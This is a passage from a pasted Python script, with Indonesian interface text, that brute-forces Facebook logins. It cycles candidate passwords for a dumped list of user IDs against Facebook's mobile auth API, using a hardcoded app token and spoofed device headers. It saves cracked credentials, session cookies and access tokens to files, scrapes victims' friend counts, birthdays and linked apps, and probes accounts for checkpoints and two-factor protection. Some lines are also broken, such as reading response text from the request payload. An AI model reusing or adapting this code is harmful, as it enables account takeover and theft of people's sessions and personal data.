  1091.                         tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1092.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1093.                         printz(tree)
  1094.                         save = (f'{convert_username}|{passe}|{cookie}|{access_token}\n')
  1095.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  1096.                         wr.write(save)
  1097.                         wr.close()
  1098.                     break
  1099.                 elif "User must verify their account" in self.response.text:
  1100.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  1101.                     except (Exception) as e: convert_username = username
  1102.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1103.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  1104.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  1105.                     printz(tree)
  1106.                     self.cp+=1
  1107.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  1108.                         wr.write(f'{convert_username}|{passe}\n')
  1109.                         wr.close()
  1110.                     break  
  1111.                 else: continue
  1112.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  1113.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1114.                 time.sleep(31)
  1115.         self.lp+=1
  1116.        
  1117.     def ExecApi(self, username, password):
  1118.         byps = requests.Session()
  1119.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  1120.         ua_generate = generate_agent()
  1121.         while True:
  1122.             try:
  1123.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  1124.                 else: ua_generate
  1125.                 byps.headers.update({'content-type':'application/x-www-form-urlencoded','x-fb-sim-hni':str(random.randint(20000, 40000)),'x-fb-connection-type':'unknown','Authorization':'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32','user-agent': ua_generate,'x-fb-net-hni':str(random.randint(20000, 40000)),'x-fb-connection-bandwidth':str(random.randint(10000, 90000)), 'x-fb-connection-quality':'EXCELLENT','x-fb-friendly-name':'authenticate','accept-encoding':'gzip, deflate','x-fb-http-engine':'Liger'})
  1126.                 self.payload = {'adid': str(uuid.uuid4()),'cpl':'true','credentials_type':'device_based_login_password',"source": "device_based_login",'error_detail_type':'button_with_disabled','source':'login','format':'json','generate_session_cookies':'1','generate_analytics_claim':'1',"machine_id": "".join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(24)),'generate_machine_id':'1',"locale":"en_US","client_country_code":"US",'device_id': str(uuid.uuid4()),"method": "auth.login","fb_api_req_friendly_name": "authenticate","fb_api_caller_class": "com.facebook.account.login.protocol.Fb4aAuthHandler"}
  1127.                 break
  1128.             except requests.exceptions.ConnectionError: time.sleep(5); self.ExecApi(username, password)
  1129.             except Exception as e: pass
  1130.         for passe in self.password:
  1131.             try:
  1132.                 self.payload.update({'email': username,'password': passe})
  1133.                 self.response = byps.post('https://b-api.facebook.com/method/auth.login', data=self.payload, allow_redirects=False)
  1134.                 if "session_key" in str(self.payload.text) and "access_token" in str(self.payload.text):
  1135.                     self.ok+=1
  1136.                     cookie = (f'sb={base64.b64encode(os.urandom(18)).decode().replace("=","").replace("+","_").replace("/","-")};{";".join(i["name"]+"="+i["value"] for i in resp.json()["session_cookies"])}')
  1137.                     access_token = self.payload.json()['access_token']
  1138.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  1139.                     except Exception as e: convert_username = username
  1140.                     if 'ya' in self.opsi:
  1141.                         try:
  1142.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  1143.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  1144.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1145.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1146.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  1147.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1148.                             tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1149.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1150.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  1151.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  1152.                             else:
  1153.                                 for apk in active: true.add(f"{apk}")
  1154.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  1155.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  1156.                             else:
  1157.                                 for apk in inactive: true.add(f"{apk}")
  1158.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  1159.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  1160.                             else:
  1161.                                 for apk in deleted: true.add(f"{apk}")
  1162.                             printz(tree)
  1163.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}|{access_token}\n')
  1164.                         except (Exception) as e:
  1165.                             print(e)
  1166.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1167.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1168.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1169.                             tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1170.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1171.                             printz(tree)
  1172.                             save = (f'{convert_username}|{password}|{cookie}|{access_token}\n')
  1173.                     else:
  1174.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1175.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1176.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1177.                         tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1178.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1179.                         printz(tree)
  1180.                         save = (f'{convert_username}|{passe}|{cookie}|{access_token}\n')
  1181.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  1182.                         wr.write(save)
  1183.                         wr.close()
  1184.                     break
  1185.                 elif "User must verify their account" in self.response.text:
  1186.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  1187.                     except (Exception) as e: convert_username = username
  1188.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1189.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  1190.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  1191.                     printz(tree)
  1192.                     self.cp+=1
  1193.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  1194.                         wr.write(f'{convert_username}|{passe}\n')
  1195.                         wr.close()
  1196.                     break  
  1197.                 else: continue
  1198.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  1199.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1200.                 time.sleep(31)
  1201.         self.lp+=1
  1202.        
  1203.     def DetedtorChekpoint(self, username, passwd):      
  1204.         try:
  1205.             byps = requests.Session()
  1206.             soup = bs(byps.get("https://mbasic.facebook.com/login/?next&ref=dbl&fl&login_from_aymh=1&refid=8").text,"html.parser")
  1207.             resp = soup.find("form",{"method":"post"})
  1208.             for x in soup("input"): data.update({x.get("name"):x.get("value")})
  1209.             data.update({"email":username,"pass":passwd})
  1210.             repo = byps.post("https://mbasic.facebook.com"+resp.get("action"),data=data)
  1211.             resp2 = bs(repo.text, "html.parser")
  1212.             if "Temukan Akun Anda" in re.findall("\<title>(.*?)<\/title>",str(repo.text)):pass
  1213.             if "c_user" in byps.cookies.get_dict():
  1214.                 if "Akun Anda Dikunci" in repo.text:
  1215.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1216.                     true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1217.                     tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1218.                     tree.add(Panel("[bold red]OPSS, AKUN TERKENA SESI NEW, KEMUNGKINAN SUSAH TERBUKA!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1219.                     printz(tree)
  1220.                 else:
  1221.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1222.                     true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1223.                     tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1224.                     tree.add(Panel("[bold green]SELAMAT AKUN TAPYES, SILAKAN CEK DI FACEBOOK LITE!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1225.                     printz(tree)
  1226.             elif "checkpoint" in byps.cookies.get_dict():
  1227.                 title = re.findall("\<title>(.*?)<\/title>",str(resp2))
  1228.                 repo2 = resp2.find("form",{"method":"post"})
  1229.                 for x in resp2("input"):
  1230.                     if x.get("name") in ['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']: data2.update({x.get("name"):x.get("value")})
  1231.                     resu = byps.post("https://mbasic.facebook.com"+repo2.get("action"),data=data2)
  1232.                     resu2 =bs(resu.text,"html.parser")
  1233.                     cek=[cek.text for cek in resu2.find_all("option")]
  1234.                     if(len(cek)==0):
  1235.                         if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  1236.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1237.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1238.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1239.                             tree.add(Panel("[bold green]SELAMAT AKUN TIDAK CHEKPOINT, SILAKAN CEK DI FACEBOOK LITE!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1240.                             printz(tree)
  1241.                         elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(resp2)):
  1242.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1243.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1244.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1245.                             tree.add(Panel("[bold red]OPSS, AKUN TERPASANG AUTENTIKASI DUO FAKTOR!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1246.                             printz(tree)
  1247.                         elif "Lihat notifikasi di perangkat lain" in str(resp2):
  1248.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1249.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1250.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1251.                             tree.add(Panel("[bold red]LIHAT NOTIFIKASI YANG DI KIRIM DARI PERANGKAT LAIN!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1252.                             printz(tree)
  1253.                         else:
  1254.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1255.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1256.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1257.                             tree.add(Panel("[bold red]OPSS, TERJADI KESALAHAN, LOGIN ERROR NOT FOUND!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1258.                             printz(tree)
  1259.                     else: pass
  1260.                     for opt in range(len(cek)):
  1261.                         tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1262.                         true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1263.                         tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1264.                         tree.add(Panel(f"[bold red]{str(opt+1)}. {cek[opt].upper()}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1265.                         printz(tree)
  1266.             else:
  1267.                 tree = Tree(Panel.fit("[bold blue]KATA SANDI SALAH", style = "bold grey50"), style="bold white")
  1268.                 true = tree.add(Columns([Panel(f"[bold blue]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold blue]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1269.                 tree.add(Panel(f"[bold blue]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1270.                 tree.add(Panel("[bold blue]OPSS, KATA SANDI SALAH KEMUNGKINAN SUDAH DI UBAH!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1271.                 printz(tree)
  1272.         except (Exception) as e: pass
  1273.        
  1274.        
  1275.        
  1276.  
Add Comment
Please, Sign In to add comment